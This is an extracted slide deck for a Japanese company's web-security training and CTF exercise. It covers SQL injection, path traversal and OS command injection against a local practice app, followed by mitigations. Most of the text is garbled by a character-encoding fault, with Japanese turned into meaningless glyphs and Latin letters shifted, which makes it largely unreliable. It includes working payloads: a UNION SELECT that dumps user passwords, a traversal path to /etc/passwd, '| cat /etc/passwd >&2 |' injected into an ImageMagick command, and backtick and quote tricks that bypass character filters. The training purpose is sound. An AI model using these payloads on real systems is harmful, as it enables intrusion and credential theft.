ʲൃలʳ42-*OKFDUJPOΛར༻ͯ͠ɺVTFSTςʔϒϧʹ֨ೲ͞Ε͍ͯΔ QBTTXPSEΧϥϜͷσʔλΛ࿙Ӯͤͯ͞Έ·͠ΐ͏ ԋश42-*OKFDUJPOΛར༻ͨ͠߈ܸ ࣮ࢪ࣌ؒ ԋशղઆ ᶃ ݕࡧϖʔδ IUUQMPDBMIPTUQPTUTTFBSDIʹΞΫηε 6/*0/4&-&$5
QBTTXPSE VTFSOBNF '30.VTFST ᶄ ͍ͣΕ͔ʹҎԼͷΫΤϦΛೖྗ ᶅ ݕࡧ ᶆ ௨ৗͷݕࡧ݁Ռͷޙ·ͰεΫϩʔϧ͢Δͱɺ શһͷVTFSOBNFͱQBTTXPSE͕දࣔ͞Ε͍ͯΔ 6/*0/ʹΑΓ ݩͷݕࡧ݁Ռʹύεϫʔυͷߦ͕Ճ͞Εͨʂ
ඇެ։
8FCΞϓϦέʔγϣϯͰσʔλͷอଘʹσʔλϕʔεʢ%#ʣ͕ར༻͞ΕΔ͜ͱ͕ଟ͍ %#αʔόʔ 8FCαʔόʔ 42-*OKFDUJPOͷݪཧ ίϝϯτʹIPHF͕ ؚ·ΕΔߘΛݕࡧ IPHFΛؚΉίϝϯτΛ %#ݕࡧ͢Δॲཧ ݕࡧ݁ՌͷϨίʔυ
%#ͷૢ࡞ʹԠͯ͡ ൃߦ͢Δ42-ΫΤϦΛΈཱͯ 4&-&$5 '30.VTFST 8)&3&DPNNFOU-*,&IPHF
42-*OKFDUJPOͷݪཧ 4&-&$5 '30.VTFST8)&3&DPNNFOU-*,&Ϣʔβʔͷೖྗ ʮʯͰғΘΕͨ෦จࣈྻͱͯ͠ղऍ ϢʔβʔͷೖྗΛར༻͢Δ42-ΫΤϦ
42-*OKFDUJPOͷݪཧ 4&-&$5 '30.VTFST8)&3&DPNNFOU-*,&Ϣʔβʔͷೖྗ ʮʯͰғΘΕͨ෦จࣈྻͱͯ͠ղऍ 4&-&$5 '30.VTFST8)&3&DPNNFOU-*,&6/*0/4&-&$5 '30.VTFST Ϣʔβʔͷೖྗͷ్தʹʮʯؚ͕·Ε͍ͯͨΒɾɾɾʁ
͜͜Ͱจࣈྻͱͯ͠ऴΘΓ จࣈྻͰͳ͍෦ͱͯ͠ղऍ͞ΕΔ ͖ͳΫΤϦจΛهͰ͖Δ ϢʔβʔͷೖྗΛར༻͢Δ42-ΫΤϦ
ใ࿙͍͑ 6/*0/۟Λར༻ͯ͠Ϩεϙϯε͔Βใऔಘ #MJOE42-*OKFDUJPO ݅ࣜΛར༻ͨ͠ΤϥʔԠ͔Βใऔಘ͢Δ &SSPSCBTFE42-*OKFDUJPO ݅ࣜΛར༻ͨ͠4-&&1͔Βใऔಘ͢Δ 5JNFCBTFE42-*OKFDUJPO %P4 4-&&1۟ͷར༻ʹΑΔॲཧͷԆ
42-*OKFDUJPOʹΑΔ߈ܸྫ ར༻͍ͯ͠Δ%#αʔόʔͷछྨݖݶʹΑͬͯɺҙίʔυ࣮ߦϑΝΠϧಡΈऔΓՄೳʹ
1BUI5SBWFSTBM
αʔόʔʹઃஔ͞ΕͨϑΝΠϧΛμϯϩʔυ͢Δॲཧؚ͕·ΕΔΤ ϯυϙΠϯτΛιʔείʔυத͔Β୳ͯ͠Έ·͠ΐ͏ ϑΝΠϧμϯϩʔυͷ63-ͷύϥϝʔλΛࡉͯ͠ɺαʔόʔͷ FUDQBTTXEͷ༰Λऔಘͯ͠Έ·͠ΐ͏ ԋश1BUI5SBWFSTBMΛѱ༻ͨ͠߈ܸ ࣮ࢪ࣌ؒ
αʔόʔʹઃஔ͞ΕͨϑΝΠϧΛμϯϩʔυ͢Δॲཧؚ͕·ΕΔΤ ϯυϙΠϯτΛιʔείʔυத͔Β୳ͯ͠Έ·͠ΐ͏ ԋश1BUI5SBWFSTBMΛѱ༻ͨ͠߈ܸ ࣮ࢪ࣌ؒ ԋशղઆ GBTUJGZͰΤϯυϙΠϯτ͕ཧ͞Ε͍ͯΔ μϯϩʔυॲཧऔಘͳͷͰ(&5ͷՄೳੑ͕ߴ͍ ᶃ ʮGBTUJGZHFUʯͰιʔείʔυதΛจࣈྻݕࡧ
ᶄ ໊લ͔ΒϑΝΠϧؔ࿈ͱࢥΘΕΔ VQMPBETΛબ ᶅ ϑΝΠϧΛμϯϩʔυ͢ΔॲཧͰ͋Δ͜ͱΛ֬ೝ ಛఆͷϑΝΠϧΛऔಘ ϑΝΠϧΛૹ৴
ϑΝΠϧμϯϩʔυͷ63-ͷύϥϝʔλΛࡉͯ͠ɺαʔόʔͷ FUDQBTTXEͷ༰Λऔಘͯ͠Έ·͠ΐ͏ ԋश1BUI5SBWFSTBMΛѱ༻ͨ͠߈ܸ ࣮ࢪ࣌ؒ ԋशղઆ ᶃ μϯϩʔυͷࡍʹͲͷϑΝΠϧύεΛࢀর͍ͯ͠Δ͔ௐࠪ GJMF1BUIͷޙ෦ ʮQBUIʯΫΤϦύϥϝʔλͰϢʔβʔ͕ઃఆՄೳ
pMF1BUIʹ͋ΔϑΝΠϧΛऔಘ͍ͯ͠Δ ˠ ύεͷޙΛมߋʹΑΓ FUDQBTTXEʹΞΫηε͢Δํ๏Λߟ͑Δ
ϑΝΠϧμϯϩʔυͷ63-ͷύϥϝʔλΛࡉͯ͠ɺαʔόʔͷ FUDQBTTXEͷ༰Λऔಘͯ͠Έ·͠ΐ͏ ԋश1BUI5SBWFSTBMΛѱ༻ͨ͠߈ܸ ࣮ࢪ࣌ؒ ԋशղઆ ্ͭͷ֊ʹΔʮʯσΟϨΫτϦΛ׆༻͠ ϧʔτσΟϨΫτϦ·Ͱ্্͕ͬͨͰ͖ͳσΟϨΫτϦΛࢦఆ͢Εྑ͍ ύεͷޙ෦ͷมߋͰҙͷύεʹΞΫηε͢ΔʹͲ͏͢Ε͍͍ͷ ᶄ
IUUQMPDBMIPTUVQMPBET QBUIFUDQBTTXEʹΞΫηε ᶅ μϯϩʔυ͞ΕͨϑΝΠϧΛ։͘ ᶆ ҎԼͷΑ͏ͳςΩετϑΝΠϧ͕औಘͰ͖͍ͯΔ͜ͱΛ֬ೝ
ඇެ։
ϑΝΠϧΞοϓϩʔυɾμϯϩʔυػೳͷ࣮ ʢྫɿϓϩϑΟʔϧը૾ͷऔಘɺ$47σʔλͷೖߘͳͲʣ 1BUI5SBWFSTBMͷݪཧ อଘઌಡΈग़͠ݩͷσΟϨΫτϦΛܾఆ͢ΔࡍʹϢʔβʔͷೖྗΛར༻ BQQVQMPBET pMFOBNF pMFOBNFதʹΛؚΊͨύεΛࢦఆ͢Δͱɾɾɾ
ϑΝΠϧΞοϓϩʔυɾμϯϩʔυػೳͷ࣮ ʢྫɿϓϩϑΟʔϧը૾ͷऔಘɺ$47σʔλͷೖߘͳͲʣ 1BUI5SBWFSTBMͷݪཧ ಡΈग़͢ϑΝΠϧ͕FUDQBTTXEʹͳͬͯ͠·͏ BQQVQMPBETFUDQBTTXE อଘઌಡΈग़͠ݩͷσΟϨΫτϦΛܾఆ͢ΔࡍʹϢʔβʔͷೖྗΛར༻ BQQVQMPBET pMFOBNF pMFOBNFதʹΛؚΊͨύεΛࢦఆ͢Δͱɾɾɾ
ҙͷίʔυ࣮ߦ QIQKTQͷஔʹΑΔαʔόʔ্Ͱͷίʔυͷ࣮ߦ αʔόʔ্ͷҙͷϑΝΠϧɾใͷಡΈऔΓ ϩάϑΝΠϧͷऔಘ αʔόʔͷߏใऔಘ ڥมͷऔಘ 1BUI5SBWFSTBMʹΑΔ߈ܸྫ
%P4 %FOJBMPG4FSWJDF
%P4ͷ࣮ྫ ϓϩϑΟʔϧը૾ઃఆ࣌ʹΓൈ͖ॲཧͷίϚϯυ͕࣮ߦ͞Ε͍ͯΔ ϐΫηϧ͕ଟ͍ը૾Λੜͯ͠Ξοϓϩʔυ WJQT CMBDLCMBDLQOH CBOET ྫʣԯϐΫηϧͷQOHը૾Λੜ ˠ Γൈ͖ॲཧͰେͳ$16ϦιʔεΛফඅ
ඇެ։
%P4ͷݪҼྫ ܁Γฦ͠ॲཧͷ࣮ϛε ϑΝΠϧͷऔΓѻ͍ ճ෮ෆೳͳྫ֎ ճͷ্ݶ੍͕ݶ͕ແ͍ αΠζ੍ݶ͕ແ͍ɺϦιʔεͷ։์Ε ϝϞϦͷྖҬ֎ΞΫηε͕ൃੜ͢ΔόάʹΑΔϓϩηεͷΫϥογϡ
04$PNNBOE*OKFDUJPO
ը૾ΞοϓϩʔυͷϑΥʔϜͷαΠζ͕ࢦఆ͞Ε͍ͯΔ෦ΛcMTcʹมߋ ͯ͠ɺϑΝΠϧΛΞοϓϩʔυͯ͠Έ·͠ΐ͏ ιʔείʔυΛࢀরͯ͠ͰͷΤϥʔ͕ى͖ͨݪҼΛιʔείʔυ͔Β୳ ͯ͠Έ·͠ΐ͏ ʲൃలʳ࣮ߦͨ͠ίϚϯυʹΑΔग़ྗ݁ՌΛϢʔβʔ͕Ӿཡ͢Δํ๏Λ୳ ͯ͠Έ·͠ΐ͏ ώϯτϖʔδ্ͷΤϥʔʹඪ४Τϥʔʹग़ྗ͞ΕΔ༰͕දࣔ͞Ε·͢ ώϯτɿMTͰग़ྗΛඪ४Τϥʔʹྲྀ͢͜ͱ͕Ͱ͖·͢ ԋश04$PNNBOE*OKFDUJPOΛѱ༻ͨ͠߈ܸ
࣮ࢪ࣌ؒ
ը૾ΞοϓϩʔυͷϑΥʔϜͷαΠζ͕ࢦఆ͞Ε͍ͯΔ෦ΛcMTcʹมߋ ͯ͠ɺϑΝΠϧΛΞοϓϩʔυͯ͠Έ·͠ΐ͏ ԋश04$PNNBOE*OKFDUJPOΛѱ༻ͨ͠߈ܸ ԋशղઆ ᶃ IUUQMPDBMIPTUQSPGJMFʹΞΫηε ᶄ ϓϩϑΟʔϧը૾ͷϑΝΠϧΛબ ᶅ
దͳը૾Λબ ᶇ ϓϩϑΟʔϧΛߋ৽ ᶆ#VSQ4VJUFͷ*OUFSDFQUΛPOʹ͢Δ
ը૾ΞοϓϩʔυͷϑΥʔϜͷαΠζ͕ࢦఆ͞Ε͍ͯΔ෦ΛcMTcʹมߋ ͯ͠ɺϑΝΠϧΛΞοϓϩʔυͯ͠Έ·͠ΐ͏ ԋश04$PNNBOE*OKFDUJPOΛѱ༻ͨ͠߈ܸ ԋशղઆ ᶈ ϦΫΤετͷXJEUIͷ߲ͷΛʮcMTcʯʹมߋ ᶉ 'PSXBSE͢Δ ᶋ
ϒϥβʹίϚϯυ࣮ߦͷΤϥʔ͕දࣔ͞ΕΔ ᶊ *OUFSDFQUΛP⒎ʹ͢Δ ϦΫΤετΛॻ͖͑ͯ04ίϚϯυΛ࣮ߦͰ͖Δ߹ Τϥʔʹग़ྗ͢Ε࣮ߦ݁ՌΛಡΈऔΕΔʂ ίϚϯυ࣮ߦ࣌ͷΤϥʔϝοηʔδ͕දࣔ͞ΕΔͱ͍͏͜ͱʁ
ιʔείʔυΛࢀরͯ͠ͰͷΤϥʔ͕ى͖ͨݪҼΛιʔείʔυ͔Β୳ ͯ͠Έ·͠ΐ͏ ԋश04$PNNBOE*OKFDUJPOΛѱ༻ͨ͠߈ܸ ࠓճͷೖྗͷೖΓޱͰ͋Δ 1045QSPpMFϦΫΤετ͔Β୧͍͖ͬͯ·͠ΐ͏ ԋशղઆ ᶃ ιʔείʔυ͔Β1045ͷQSPpMFϦΫΤετΛݕࡧ ϑΥʔϜ͔Βೖྗͨ͠ใ͕ಉ໊ͷมʹೖ
②エンドポイントの実装を調査 ②エンドポイントの実装を調査(つづき) FYFD 04ίϚϯυΛ࣮ߦ͢Δؔ ͷதͰ XJEUIIFJHIUͷม͕ΘΕ͍ͯΔ ˠ 04Ͱ࣮ߦ͞ΕΔίϚϯυͷதʹ ҙͷίʔυΛೖྗͰ͖Δঢ়ଶ
ʲൃలʳ࣮ߦͨ͠ίϚϯυʹΑΔग़ྗ݁ՌΛϢʔβʔ͕Ӿཡ͢Δํ๏Λ୳ͯ͠Έ·͠ΐ͏ ώϯτϖʔδ্ͷΤϥʔʹඪ४Τϥʔʹग़ྗ͞ΕΔ༰͕දࣔ͞Ε·͢ ώϯτɿMTͰग़ྗΛඪ४Τϥʔʹྲྀ͢͜ͱ͕Ͱ͖·͢ ԋश04$PNNBOE*OKFDUJPOΛѱ༻ͨ͠߈ܸ ԋशղઆ convert ${tmpSavePath} -gravity center
-resize <width>x<height>^ -crop 1:1 ${savePath} Ͱௐࠪͨ͠ιʔείʔυΑΓɺࣈͷ෦ʹҙͷจࣈྻΛࠩ͠ࠐΊΔ͜ͱ͕Θ͔Δ ⾣ Ͱ͔ͬͨɺΤϥʔग़ྗ͕ӾཡͰ͖Δ͜ͱ౿·͑ΔͱҎԼ͕༗ޮ convert ${tmpSavePath} -gravity center -resize | 実⾏したいコマンド >&2 | x^ -crop 1:1 ${savePath} ʲίϚϯυΛ࣮ߦ͢Δํ๏ʳ
ʲൃలʳ࣮ߦͨ͠ίϚϯυʹΑΔग़ྗ݁ՌΛϢʔβʔ͕Ӿཡ͢Δํ๏Λ୳ͯ͠Έ·͠ΐ͏ ώϯτϖʔδ্ͷΤϥʔʹඪ४Τϥʔʹग़ྗ͞ΕΔ༰͕දࣔ͞Ε·͢ ώϯτɿMTͰग़ྗΛඪ४Τϥʔʹྲྀ͢͜ͱ͕Ͱ͖·͢ ԋश04$PNNBOE*OKFDUJPOΛѱ༻ͨ͠߈ܸ ԋशղઆ ʲ࣮ߦͷྫʳ ͱಉ༷ʹਐΊɺखॱᶈͰ | cat
/etc/passwd >&2 | Λೖྗ ͷखॱᶋʹͯɺ ࣮ߦͨ͠ίϚϯυͷ༰͕දࣔ͞ΕΔ
ඇެ։
ίϚϯυΛ࣮ߦ͢ΔࡍͷҰ෦ͷʹϢʔβʔͷೖྗΛར༻͢Δ࣮ -JOVYͰγΣϧػೳΛ༗ޮʹͨ͠ίϚϯυ࣮ߦͷ߹ʢྫɿDIJME@QSPDFTTFYFDʣ γΣϧεΫϦϓτͷߏจ͕ར༻Ͱ͖Δ 04$PNNBOE*OKFDUJPOͷݪཧ DPOWFSUJOQVUQOH HSBWJUZDFOUFSSFTJ[FYϢʔβʔͷೖྗ?DSPQPVUQVUQOH cΛؚΊͨʮϢʔβʔͷೖྗʯΛࢦఆ͢Δͱɾɾɾ
ίϚϯυΛ࣮ߦ͢ΔࡍͷҰ෦ͷʹϢʔβʔͷೖྗΛར༻͢Δ࣮ -JOVYͰγΣϧػೳΛ༗ޮʹͨ͠ίϚϯυ࣮ߦͷ߹ʢྫɿDIJME@QSPDFTTFYFDʣ γΣϧεΫϦϓτͷߏจ͕ར༻Ͱ͖Δ 04$PNNBOE*OKFDUJPOͷݪཧ DPOWFSUJOQVUQOH HSBWJUZDFOUFSSFTJ[FYϢʔβʔͷೖྗ?DSPQPVUQVUQOH cΛؚΊͨʮϢʔβʔͷೖྗʯΛࢦఆ͢Δͱɾɾɾ DPOWFSUJOQVUQOH HSBWJUZDFOUFSSFTJ[FYcMTc?DSPQPVUQVUQOH
ͭͷίϚϯυ ͭͷίϚϯυ ͭͷίϚϯυ Ϣʔβʔͷࢦఆͨ͠ίϚϯυ͕࣮ߦ͞Εͯ͠·͏
04$PNNBOE*OKFDUJPOͷ࣮ྫ ίϚϯυΛ࣮ߦ͢ΔؔʹϢʔβʔೖྗΛར༻͢Δέʔε ʢจࣈྻ݁߹ͳͲʣ TZTUFN Ϣʔβʔͷೖྗ FYFD Ϣʔβʔͷೖྗ QBTTUISV Ϣʔβʔͷೖྗ
3VOUJNFHFU3VOUJNF FYFD Ϣʔβʔͷೖྗ DIJME@QSPDFTTTQBXO Ϣʔβʔͷೖྗ DIJME@QSPDFTTFYFD Ϣʔβʔͷೖྗ 1)1 +BWB /PEFKT FYFD Ϣʔβʔͷೖྗ TZTUFN Ϣʔβʔͷೖྗ 3VCZ
੬ऑੑͷରࡦ
ຊηΫγϣϯͷΞδΣϯμ 1BUI5SBWFSTBMରࡦ 04$PNNBOE*OKFDUJPOରࡦ ੬ऑੑରࡦͷϙΠϯτ ʢࠓճͷԋशࠓޙͷۀͰ࣮ફͯ͠΄͍͜͠ͱʣ
ϑΝΠϧΞοϓϩʔυɾμϯϩʔυػೳͷ࣮ ʢྫɿϓϩϑΟʔϧը૾ͷऔಘɺ$47σʔλͷೖߘͳͲʣ 1BUI5SBWFSTBMͷݪཧʢ࠶ܝʣ อଘઌಡΈग़͠ݩͷσΟϨΫτϦΛܾఆ͢ΔࡍʹϢʔβʔͷೖྗΛར༻ BQQVQMPBET pMFOBNF ˠ ಡΈग़͢ϑΝΠϧ͕ҙਤ͠ͳ͍FUDQBTTXEʹͳͬͯ͠·͏ Λར༻͢Δͱɾɾɾ
BQQVQMPBETFUDQBTTXE
FUDQBTTXE 1BUI5SBWFSTBMରࡦ pMFOBNFʹ্ͭͷ֊Λࣔ͢ ͕ར༻Ͱ͖Δ͜ͱ͕͔ͩΒɾɾɾ pMFOBNF͔Β ΛऔΓআ͘ॲཧΛͯ͠ରࡦ FUDQBTTXE BQQVQMPBETFUDQBTTXE BQQVQMPBET
GJMFOBNF ࡉΛͯ͠ BQQVQMPBETԼ͕ಡΈग़͠ରͷύεʹͳΔ ˠ ҙͷύεͷϑΝΠϧΛಡΈग़͢͜ͱ͕Ͱ͖ͳ͘ͳͬͨ ˞͜ͷमਖ਼ํ๏ਖ਼͋͘͠Γ·ͤΜʂ
1BUI5SBWFSTBMରࡦ /PEFKTͰͷ࣮ ΛऔΓআ͘ॲཧ
ઌఔͷ1BUI5SBWFSTBMͷରࡦΛӌճͯ͠ FUDQBTTXEΛಡΈग़ͯ͠ Έ·͠ΐ͏ ͲͷΑ͏ʹ͢Εదͳमਖ਼͕Ͱ͖Δ͔Λߟ͑ͯΈ·͠ΐ͏ ԋशɿରࡦͷӌճ ࣮ࢪ࣌ؒ
pMFOBNFʹFUDQBTTXEΛࢦఆ͢Δ͜ͱͰରࡦΛӌճͰ͖Δ 1BUI5SBWFSTBMରࡦ FUDQBTTXE FUDQBTTXE BQQVQMPBETFUDQBTTXE BQQVQMPBET GJMFOBNF ˠ FUDQBTTXE͔ΒϑΝΠϧΛಡΈग़ͯ͠͠·͏
1BUI5SBWFSTBMରࡦ దͳରࡦ ύεͷਖ਼نԽͷྫɿ BQQVQMPBETFUDQBTTXE ˠ BQQVQMPBETFUDQBTTXE BQQVQMPBETVQMPBETFUDQBTTXE ˠ FUDQBTTXE
ύεΛਖ਼نԽͯ͠ɺҙਤͨ͠σΟϨΫτϦԼ͕ࢦఆ͞Ε͍ͯΔ͔Λݕূ BQQVQMPBET Ͱ࢝·Δʁ
ίϚϯυΛ࣮ߦ͢ΔࡍͷҰ෦ͷʹϢʔβʔͷೖྗΛར༻͢Δ࣮ -JOVYͰγΣϧػೳΛ༗ޮʹͨ͠ίϚϯυ࣮ߦͷ߹ʢྫɿDIJME@QSPDFTTFYFDʣ γΣϧεΫϦϓτͷߏจ͕ར༻Ͱ͖Δ 04$PNNBOE*OKFDUJPOͷݪཧʢ࠶ܝʣ DPOWFSUJOQVUQOH HSBWJUZDFOUFSSFTJ[FYϢʔβʔͷೖྗ?DSPQPVUQVUQOH cΛؚΊͨʮϢʔβʔͷೖྗʯΛࢦఆ͢Δͱɾɾɾ DPOWFSUJOQVUQOH HSBWJUZDFOUFSSFTJ[FYcMTc?DSPQPVUQVUQOH
ͭͷίϚϯυ ͭͷίϚϯυ ͭͷίϚϯυ Ϣʔβʔͷࢦఆͨ͠ίϚϯυ͕࣮ߦ͞Εͯ͠·͏
04$PNNBOE*OKFDUJPOରࡦ ίϚϯυͷҾͱͯ͠ѻ͏෦ΛγΣϧߏจͷҰ෦ͱͯ͠ར༻Ͱ͖ͯ͠·͏ͷ͕͔ͩΒɾɾɾɾ Ϣʔβʔೖྗͷ෦ΛͰғΉ DPOWFSUJOQVUQOH HSBWJUZDFOUFSSFTJ[FYϢʔβʔͷೖྗ?DSPQ PVUQVUQOH DPOWFSUJOQVUQOH HSBWJUZDFOUFSSFTJ[FYcMTc?DSPQPVUQVUQOH ͰͭͷҾͱͯ͠ೝࣝ͞ΕΔͷͰɺ
MT࣮ߦ͞Εͳ͍ ˞͜ͷमਖ਼ํ๏ਖ਼͋͘͠Γ·ͤΜʂ
04$PNNBOE*OKFDUJPOରࡦ /PEFKTͰͷ࣮
ઌఔͷ04$PNNBOE*OKFDUJPOͷରࡦΛӌճͯ͠ MTΛ࣮ߦͯ͠Έ· ͠ΐ͏ ͲͷΑ͏ʹରࡦΛ͢Δͱྑ͍͔Λߟ͑ͯΈ·͠ΐ͏ ԋशɿରࡦͷӌճ ࣮ࢪ࣌ؒ
04$PNNBOE*OKFDUJPOରࡦ AͰίϚϯυΛғΜͰରࡦΛӌճͰ͖Δ DPOWFSUJOQVUQOHHSBWJUZDFOUFSSFTJ[FYAMTA?DSPQPVUQVUQOH
04$PNNBOE*OKFDUJPOରࡦ ରࡦɿ ಛఆͷจࣈΛېࢭͯ͠ίϚϯυ͕࣮ߦ͞Εͳ͍Α͏ʹ͠Α͏ɾɾɾ ˞͜ͷमਖ਼ํ๏ਖ਼͋͘͠Γ·ͤΜʂ Λېࢭ A
04$PNNBOE*OKFDUJPOରࡦ ͰίϚϯυΛғΜͰରࡦΛӌճͰ͖Δ DPOWFSUJOQVUQOHHSBWJUZDFOUFSSFTJ[FY MT ?DSPQPVUQVUQOH
04$PNNBOE*OKFDUJPOରࡦ ରࡦɿ ˞͜ͷमਖ਼ํ๏ਖ਼͋͘͠Γ·ͤΜʂ Λېࢭ A
04$PNNBOE*OKFDUJPOରࡦ cMTcͰจࣈྻ෦Λൈ͚ͯӌճͰ͖Δ DPOWFSUJOQVUQOHHSBWJUZDFOUFSSFTJ[FYcMTc?DSPQPVUQVUQOH
04$PNNBOE*OKFDUJPOରࡦ ରࡦɿ ˞͜ͷमਖ਼ํ๏ਖ਼͋͘͠Γ·ͤΜʂ A Λېࢭ ېࢭจࣈΛ૿͢ରࡦͰຊʹେৎɾɾɾʁ
04$PNNBOE*OKFDUJPOରࡦ ϑΝΠϧ໊ͷࡉͱΈ߹Θͤͯӌճ DPOWFSUUNQJOQVUQOHʘHSBWJUZDFOUFSSFTJ[FcMTcY?DSPQPVUQVUQOH όοΫεϥογϡͰΛΤεέʔϓॲཧ
/PEFKTͷ߹ IUUQTHJUIVCDPNNNPNUDIFWNBHJDLXBOEKT Ͱಉ༷ͷॲཧΛهड़Ͱ͖Δ 04$PNNBOE*OKFDUJPOରࡦ దͳରࡦ ίϚϯυ࣮ߦΛͤͣʹಉͷॲཧΛ࣮ݱ͢Δ ېࢭจࣈΛ૿͢ ํΛݟͦ͏
ੈͷதҰൠʹެ։͞Ε͍ͯΔ߈ܸख๏ରࡦͷ ϕετϓϥΫςΟε͕͋ΕͦΕʹج͍࣮ͮͯΛ͢Δ • ͯ͢ͷ߈ܸखஈΛࣗͰߟ͑ɺదͳରࡦΛ࣮͢Δ͜ͱ͍͠ • 94442-*OKFDUJPOͳͲͷҰൠతͳ੬ऑੑɺϑϨʔϜϫʔΫͷυΩϡϝϯτதͳͲɺ ϕετϓϥΫςΟεͷهࡌ͕͋Δ߹͕ଟ͍ͷͰͦΕʹै͏ ੬ऑੑରࡦͷϙΠϯτʢࠓճͷԋशࠓޙͷۀͰ࣮ફͯ͠΄͍͜͠ͱʣ
੬ऑੑରࡦͷϙΠϯτʢࠓճͷԋशࠓޙͷۀͰ࣮ફͯ͠΄͍͜͠ͱʣ ѱ༻͞Ε͍͢ػೳ࣮ΛΖ͏ • ઃܭɾ࣮͍ͯ͠Δ࣌ʹηΩϡϦςΟΛҙࣝͰ͖Δঢ়ଶʹͳΖ͏ ʢϢʔβʔೖྗ͕ଟ͍ՕॴɺϑΝΠϧμϯϩʔυɾΞοϓϩʔυͳͲʣ • ٯʹѱ༻͞ΕΔ͜ͱ͕ͳ͍҆શͳػೳɾ࣮͔ΔΑ͏ʹ
੬ऑੑରࡦͷϙΠϯτʢࠓޙۀͷதͰߟ͑ͯ΄͍͜͠ͱʣ ΑΓ؆୯ʹ͔࣮ͭ֬ʹ҆શʹ࣮Ͱ͖Δํ๏ସࡦΛଟ֯తʹߟ͑Α͏ 04$PNNBOE*OKFDUJPOͷྫ ˠ ίϚϯυ࣮ߦΛ͢ΔؔΛ͏ͷΛΊΔ
• 1PSU4XJHHFS 8FC4FDVSJUZ "DBEFNZ ʢ IUUQTQPSUTXJHHFSOFUXFCTFDVSJUZʣ • ମܥతʹֶͿ҆શͳ8FCΞϓϦέʔγϣϯͷ࡞Γํ ʢ IUUQTXXXTCDSKQQSPEVDUʣ
8FCΞϓϦέʔγϣϯʹର͢Δ߈ܸख๏ΛΑΓৄ͘͠ษڧ͍ͨ͠ํ
ԋश
ࠓճʮ$5'ʯͱݺΕΔܗࣜͰνʔϜ͝ͱͷԋश $5'ͱʁ $BQUVSF5IF'MBH ઐٕࣝज़Λۦͯ͠Ӆ͞Ε͍ͯΔ'MBHʢൿີͷจࣈྻʣΛݟ͚ͭग़͠ɺ ࣌ؒʹ֫ಘͨ͠߹ܭಘΛڝ͏ϋοΩϯάίϯςετ νʔϜ͝ͱʹ֫ಘͨ͠ϙΠϯτΛڝ͏ ԋश֓ཁ
ඇެ։
छྨ ੬ऑੑΛѱ༻ͯ͠ൿີͷ'MBHΛ औಘɾૹ৴͢Δ͜ͱͰ ϙΠϯτΛ֫ಘͰ͖Δ ߈ܸʢ"UUBDLʣ ѱ༻Մೳͳ੬ऑੑΛमਖ਼͠ɺ ϦϙδτϦʹίϛοτ ߨࢣʹ֬ೝΛͯ͠Β͏͜ͱͰ ϙΠϯτΛ֫ಘͰ͖Δ
ޚʢ%FGFOTFʣ ʹ͍ͭͯ
üνʔϜͰ͔Βͳ͍ਓ͕͍Εڭ͑߹͏ͳͲɺ ޓ͍ʹॿ͚߹͍ͳ͕ΒਐΊ͍ͯͩ͘͞ üαʔόʔʹଓͰ͖ͳ͍ͳͲͷτϥϒϧ࣌4MBDLͰϝϯγϣϯ ʢ!QEPGZFQSETFDVSJUZUVUPSTʣ Λ͚ͯߨࢣʹΒ͍ͤͯͩ͘͞ αʔόʔϦηοτͳͲͷରԠΛߦ͍·͢ üձࣾͷϧʔϧ๏Λक্ͬͨͰ͋Εɺ ར༻͢ΔπʔϧαΠτʹ੍ݶ͋Γ·ͤΜ ԋशͷਐΊํ
ͷճํ๏ ճͷఏग़ɺճঢ়گͷ֬ೝΛߦ͏ͨΊͷείΞαʔόʔΛར༻͠·͢ ͷճఏग़ ֫ಘͨ͠ϙΠϯτͷ֬ೝ ॱҐͷ֬ೝ
$IFDLείΞαʔόʔͷΞΫηεͱϩάΠϯ ͞ΕͨείΞαʔόʔͷ63-Λ։͘ ˞͜ͷαʔόʔ߈ܸରͰͳ͍͜ͱʹҙ ӈ্ͷ-PHJOΛΫϦοΫ
$IFDLείΞαʔόʔͷΞΫηεͱϩάΠϯ νʔϜ͝ͱʹ͞Ε͍ͯΔϩάΠϯใͰϩάΠϯ
$IFDLҰཡϖʔδͷ֬ೝ ҎԼͷϖʔδ͕։͚Δ͜ͱΛ֬ೝ͍ͯͩ͘͠͞ ✔ ͜ͷϖʔδ͕։͚ͨΒ0,
จ จείΞαʔόʔ্Ͱͳ͘ɺ໌ఏڙ༧ఆͷ HJTUͷϦϯΫ͔Β ֬ೝͰ͖·͢ ݱ࣌Ͱຊѻ͏νϡʔτϦΞϧ෦ͷςΩετͷΈΛɺ֤νʔϜͷνϟϯωϧʹૹ͍ͯ͠·͢ ໌ఏڙ༧ఆͷυΩϡϝϯτ ຊνϡʔτϦΞϧ෦ͷΈΛ ςΩετͰڞ༗͍ͯ͠·͢ શͷΛఏڙ༧ఆ
ʹ͍ͭͯ ü༩ϙΠϯτԼهͷ௨ΓͰ͢ BUUBDLʹΑΓQUT<͕͍΄Ͳ؆୯ʹͳ͍ͬͯ·͢> EFGFOTF దͳमਖ਼͕ߦΘΕ͍ͯΔ߹QUT मਖ਼͕ෆશͳ߹QUT ਖ਼͘͠ಈ͔ͳ͍߹QUT ü$IBMMFOHF͝ͱʹ൪߸͕ৼΒΕ͍ͯ·͕͢Ͳͷॱ൪Ͱղ͍ͯߏ͍·ͤΜ ü$IBMMFOHFͷBUUBDLEFGFOTFʹղ͖͘ॱ൪ʹࢦఆ͋Γ·ͤΜ
ü֤Ͱͦͷ͕ղ͚ͨνʔϜΛ֬ೝͰ͖·͢ ଟ͘ͷνʔϜ͕ղ͚ͨͷํ͕қ͕͍͔͠Ε·ͤΜ ü͕͍͠ͱࢥͬͨΒແཧͤͣผͷΛղ͍ͯΈ·͠ΐ͏
ͷղ͖ํͷ֬ೝ
$IFDLνϡʔτϦΞϧʢ߈ܸฤʣɿ ͷಈ࡞֬ೝ จதͷϦϯΫΛΫϦοΫͯ͠߈ܸରͷΞϓϦέʔγϣϯʹΞΫηεՄೳͳ͜ͱΛ֬ೝ ϢʔβʔΛొͯ͠ϩάΠϯ͠ɺϓϩϑΟʔϧ͕දࣔ͞ΕΔγϯϓϧͳ8FCαΠτ͕දࣔ͞ΕΔ͜ͱΛ֬ೝ ログイン画⾯ マイページ ✔ ϚΠϖʔδͷը໘͕දࣔͰ͖Ε0,
$IFDLνϡʔτϦΞϧʢ߈ܸฤʣɿιʔείʔυͷऔಘ ֤νʔϜʹ͞ΕͨϦϙδτϦΛΫϩʔϯͯ͠ɺιʔείʔυΛऔಘͰ͖Δ͜ͱΛ֬ೝ HJUDMPOF CPPUDBNQUFBN9HJU DECPPUDBNQUFBNY MT ʜGPSUVOFʜ DEGPSUVOF MT
